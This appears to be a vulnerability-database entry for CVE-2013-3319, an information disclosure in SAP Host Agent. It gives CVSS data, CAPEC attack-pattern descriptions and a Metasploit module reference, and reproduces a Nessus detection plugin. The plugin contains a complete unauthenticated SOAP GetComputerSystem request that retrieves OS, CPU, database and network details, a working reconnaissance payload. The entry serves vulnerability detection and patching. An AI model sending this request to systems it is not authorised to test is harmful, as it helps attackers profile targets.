Vulnerabilities > CVE-2013-3319 - Information Exposure vulnerability in SAP Netweaver 7.03

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
sap
CWE-200
nessus
metasploit

Summary

The GetComputerSystem method in the HostControl service in SAP Netweaver 7.03 allows remote attackers to obtain sensitive information via a crafted SOAP request to TCP port 1128.

Vulnerable Configurations

Part Description Count
Application
Sap
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Subverting Environment Variable Values
    The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Browser Fingerprinting
    An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
  • Session Credential Falsification through Prediction
    This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

Metasploit

descriptionThis module attempts to retrieve Computer and OS info from Host Agent through the SAP HostControl service.
idMSF:AUXILIARY/SCANNER/SAP/SAP_HOSTCTRL_GETCOMPUTERSYSTEM
last seen2020-06-07
modified2017-07-24
published2013-07-22
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb
titleSAP Host Agent Information Disclosure

Nessus

NASL familyCGI abuses
NASL idSAP_HOST_AGENT_NOTE1816536.NASL
descriptionThe version of SAP Host Agent discloses sensitive system information, such as operating system version, databases version, CPU make and model, and information on network interfaces. A remote, unauthenticated attacker could use this to specialize attacks.
last seen2020-06-01
modified2020-06-02
plugin id72258
published2014-02-03
reporterThis script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/72258
titleSAP Host Agent SOAP Web Service Information Disclosure (SAP Note 1816536)
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(72258);
  script_version("1.6");
  script_cvs_date("Date: 2019/11/26");

  script_cve_id("CVE-2013-3319");
  script_bugtraq_id(61402);

  script_name(english:"SAP Host Agent SOAP Web Service Information Disclosure (SAP Note 1816536)");
  script_summary(english:"Attempts to make a SOAP request.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a SOAP service that discloses sensitive
information.");
  script_set_attribute(attribute:"description", value:
"The version of SAP Host Agent discloses sensitive system information,
such as operating system version, databases version, CPU make and model,
and information on network interfaces.  A remote, unauthenticated
attacker could use this to specialize attacks.");
  script_set_attribute(attribute:"see_also", value:"https://service.sap.com/sap/support/notes/1816536");
  script_set_attribute(attribute:"see_also", value:"https://labs.integrity.pt/advisories/cve-2013-3319/");
  script_set_attribute(attribute:"solution", value:
"Apply the patch referenced in the vendor's advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/07/09");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/04/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/02/03");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:sap:netweaver");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("sap_host_control_detect.nasl");
  script_require_keys("www/sap_host_control");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");
include("webapp_func.inc");

app = "SAP Host Agent";

# Note that we're looking for SAP Host Agent, but we're using the SAP
# Host Control information. That's because the two are related in some
# way that I've failed to understand, possibly one spawns or hosts the
# other and that's why they're both referenced as being on the same
# port.
port = get_http_port(default:1128, embedded:TRUE);
install = get_install_from_kb(appname:"sap_host_control", port:port, exit_on_fail:TRUE);
dir = install["dir"];
url = build_url(port:port, qs:dir + "/");

# Build the SOAP request.
xml = '<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope
    xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <SOAP-ENV:Header>
    <sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
      <enableSession>true</enableSession>
    </sapsess:Session>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body>
    <ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl">
      <aArguments>
        <item>
          <mKey>provider</mKey>
          <mValue>saposcol</mValue>
        </item>
      </aArguments>
    </ns1:GetComputerSystem>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>';

# Attempt to send the SOAP request.
res = http_send_recv3(
  port         : port,
  method       : "POST",
  item         : dir + "/",
  data         : xml,
  exit_on_fail : TRUE
);

if ("<SAPHostControl:GetComputerSystemResponse>" >!< res[2])
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, url);

report = NULL;
if (report_verbosity > 0)
{
  report =
    '\n' + 'Nessus was able to execute a GetComputerSystem request through' +
    '\n' + 'the SAP Host Agent. The request sent was :' +
    '\n' +
    '\n  ' + join(split(xml, sep:'\n', keep:FALSE), sep:'\n  ') +
    '\n';

  if (report_verbosity > 1)
  {
    report +=
      '\n' + 'The response to the above request was :' +
      '\n' +
      '\n  ' + join(split(res[2], sep:'\n', keep:FALSE), sep:'\n  ') +
      '\n';
  }
}

security_warning(port:port, extra:report);